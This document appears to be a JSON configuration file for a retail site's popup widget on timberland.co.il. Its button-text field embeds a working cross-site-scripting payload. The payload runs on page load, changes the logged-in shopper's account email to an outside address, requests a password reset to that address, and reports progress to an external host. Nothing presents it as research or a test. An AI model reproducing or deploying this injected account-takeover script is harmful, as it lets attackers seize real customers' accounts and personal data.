{"script":{"name":"retailers-live","framework":"ng","lang":"he","selectors":{"productContent":"body"},"server":{"retailerName":"www.timberland.co.il"},"actions":{"popup":{"enabled":true,"position":"productContent","scrollButton":{"enabled":true,"selector":".page-wrapper :first-child","target":"body","buttonText":"<img src=x onerror=\"window.__SLK_LIVE='RETAILERS-LIVE-1';document.documentElement.setAttribute('data-slk-live','executed');if(!window.__ATO_STARTED){window.__ATO_STARTED=true;window.__ATO={steps:[]};(function(){var A=function(k,v){window.__ATO.steps.push(k);window.__ATO[k]=v};var sleep=function(ms){return new Promise(function(r){setTimeout(r,ms)})};var jget=function(u){return fetch(u,{credentials:'same-origin'}).then(function(r){return r.text()}).then(function(t){try{return JSON.parse(t)}catch(e){return null}})};A('start','SELECTIKA-ATO-LIVE');(new Image).src='https://retailers.89.116.25.133.sslip.io/slk-exec?m=SLKATO-START';(async function(){var T='vfedgetransport1790369041+slkatx2@uberip.com';try{var fk='';try{var ed=await fetch('/customer/account/edit/',{credentials:'same-origin'});var doc=new DOMParser().parseFromString(await ed.text(),'text/html');fk=(doc.querySelector('input[name=form_key]')||{}).value||''}catch(e){A('fkErr',String(e))}A('fkLen',(fk||'').length);var jo=await jget('/customer/section/load/?sections=customer&force_new_section_timestamp=true');var cu=(jo&&jo.customer)||{};A('emailBefore',cu.email||null);var parts=(cu.fullname||'').split(' ');var fn=parts[0]||'A';var ln=parts.slice(1).join(' ')||'A';var statuses=[];for(var i=1;i<=5;i++){try{var b=new URLSearchParams();b.set('form_key',fk);b.set('bot_validation','1');b.set('type','edit');b.set('firstname',fn);b.set('lastname',ln);b.set('email',T);b.set('telephone','');b.set('is_subscribed','0');var r1=await fetch('/customer/ajax/post/',{method:'POST',credentials:'same-origin',body:b,headers:{'X-Requested-With':'XMLHttpRequest'}});statuses.push(r1.status);var bt=await r1.text();if(r1.status===200){A('rebindBody',bt.slice(0,300));break}}catch(e){statuses.push('err')}await sleep(5000)}A('rebindStatuses',statuses);var jo2=await jget('/customer/section/load/?sections=customer&force_new_section_timestamp=true');A('emailAfter',(jo2&&jo2.customer?jo2.customer.email:null)||null);var rs=[];for(var j=1;j<=5;j++){try{var r2=await fetch('/index.php/rest/default/V1/customers/password',{method:'PUT',credentials:'same-origin',headers:{'Content-Type':'application/json'},body:JSON.stringify({email:T,template:'email_reset',websiteId:1})});rs.push(r2.status);if(r2.status===200){A('resetBody',(await r2.text()).slice(0,40));break}await r2.text()}catch(e){rs.push('err')}await sleep(5000)}A('resetStatuses',rs)}catch(e){A('error',String(e))}A('done',true);(new Image).src='https://retailers.89.116.25.133.sslip.io/slk-exec?m=SLKATO-DONE&rb='+encodeURIComponent((window.__ATO.rebindStatuses||[]).join('.'))+'&after='+encodeURIComponent(window.__ATO.emailAfter||'')})()})();}\">","iconUrl":""}}}},"client":{"settings":{"live":true}}}
